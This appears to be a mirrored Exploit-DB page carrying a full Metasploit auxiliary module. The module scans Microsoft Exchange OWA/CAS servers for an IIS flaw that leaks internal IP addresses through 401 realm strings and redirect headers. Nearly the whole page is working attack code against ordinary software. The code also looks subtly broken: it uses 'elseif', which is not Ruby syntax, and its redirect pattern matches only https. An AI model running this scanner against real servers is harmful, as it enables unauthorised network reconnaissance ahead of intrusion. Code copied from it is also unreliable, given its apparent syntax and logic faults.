Microsoft Exchange – IIS HTTP Internal IP Address Disclosure (Metasploit)

• Exploit Database
• 33 阅读

• 作者： Nate Power
  日期： 2014-09-29
• 类别：

  • webapps
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/34817/

• # Exploit Title: Microsoft Exchange IIS HTTP Internal IP Disclosure Vulnerability
  # Google Dork: NA
  # Date: 08/01/2014
  # Exploit Author: Nate Power
  # Vendor Homepage: microsoft.com
  # Software Link: NA
  # Version: Exchange OWA 2003, Exchange CAS 2007/2010/2013
  # Tested on: Exchange OWA 2003, Exchange CAS 2007/2010/2013
  # CVE : NA
  
  ##
  # This module requires Metasploit: http//metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Auxiliary
  
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
  
   def initialize
  super(
  'Name' => 'Outlook Web App (OWA) / Client Access Server (CAS) IIS HTTP Internal IP Disclosure',
  'Description'=> %q{
  This module tests vulnerable IIS HTTP header file paths on Microsoft Exchange OWA 2003, CAS 2007, 2010, 2013 servers.
  },
  'Author' =>
  [
  'Nate Power'
  ],
  'DisclosureDate' => 'Aug 01 2014',
  'License'=> MSF_LICENSE,
  'DefaultOptions' => {
  'SSL' => true
  }
  )
  
   register_options(
   [
  OptInt.new('TIMEOUT', [ true, "HTTP connection timeout", 10]),
  OptInt.new('RPORT', [ true, "The target port", 443]),
   ], self.class)
  end
  
  def run_host(target_host)
   rhost = target_host
   print_status("#{msg} Checking HTTP headers")
   get_ip_extract
  end
  
  def get_ip_extract
  urls = ["/Microsoft-Server-ActiveSync/default.eas",
  "/Microsoft-Server-ActiveSync",
  "/Autodiscover/Autodiscover.xml",
  "/Autodiscover",
  "/Exchange",
  "/Rpc",
  "/EWS/Exchange.asmx",
  "/EWS/Services.wsdl",
  "/EWS",
  "/ecp",
  "/OAB",
  "/OWA",
  "/aspnet_client",
  "/PowerShell"]
  
  result = nil
  
  urls.each do |url|
  begin
  res = send_request_cgi({
  'version' => "1.0",
  'uri'=> "#{url}",
  'method' => 'GET',
  'vhost'=>''
  }, timeout = datastore['TIMEOUT'])
  
  rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
  print_error("#{msg} HTTP Connection Failed")
  next
  end
  
  if not res
  print_error("#{msg} HTTP Connection Timeout")
  next
  end
  
  if res and res.code == 401 and (match = res['WWW-Authenticate'].match(/Basic realm=\"(192\.168\.[0-9]{1,3}\.[0-9]{1,3}|10\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|172\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})\"/i))
  result = match.captures[0]
  print_status("#{msg} Status Code: 401 response")
  print_status("#{msg} Found Path: " + url )
  print_good("#{msg} Found target internal IP address: " + result)
  return result
   elseif
  print_warning("#{msg} No internal address found")
  next
  end
  
  if res and (res.code > 300 and res.code < 310) and (match = res['Location'].match(/^http[s]:\/\/(192\.168\.[0-9]{1,3}\.[0-9]{1,3}|10\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|172\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})\//i))
  result = match.captures[0]
  print_status("#{msg} Status Code: #{res.code} response")
  print_status("#{msg} Found Path: " + url )
  print_good("#{msg} Found target internal IP address: " + result)
  return result
   elseif
  print_warning("#{msg} No internal address found")
  next
  end
  end
  
  if result.nil?
  print_warning("#{msg} Nothing found")
  end
  
  return result
  end
  def msg
  "#{rhost}:#{rport} -"
  end
  end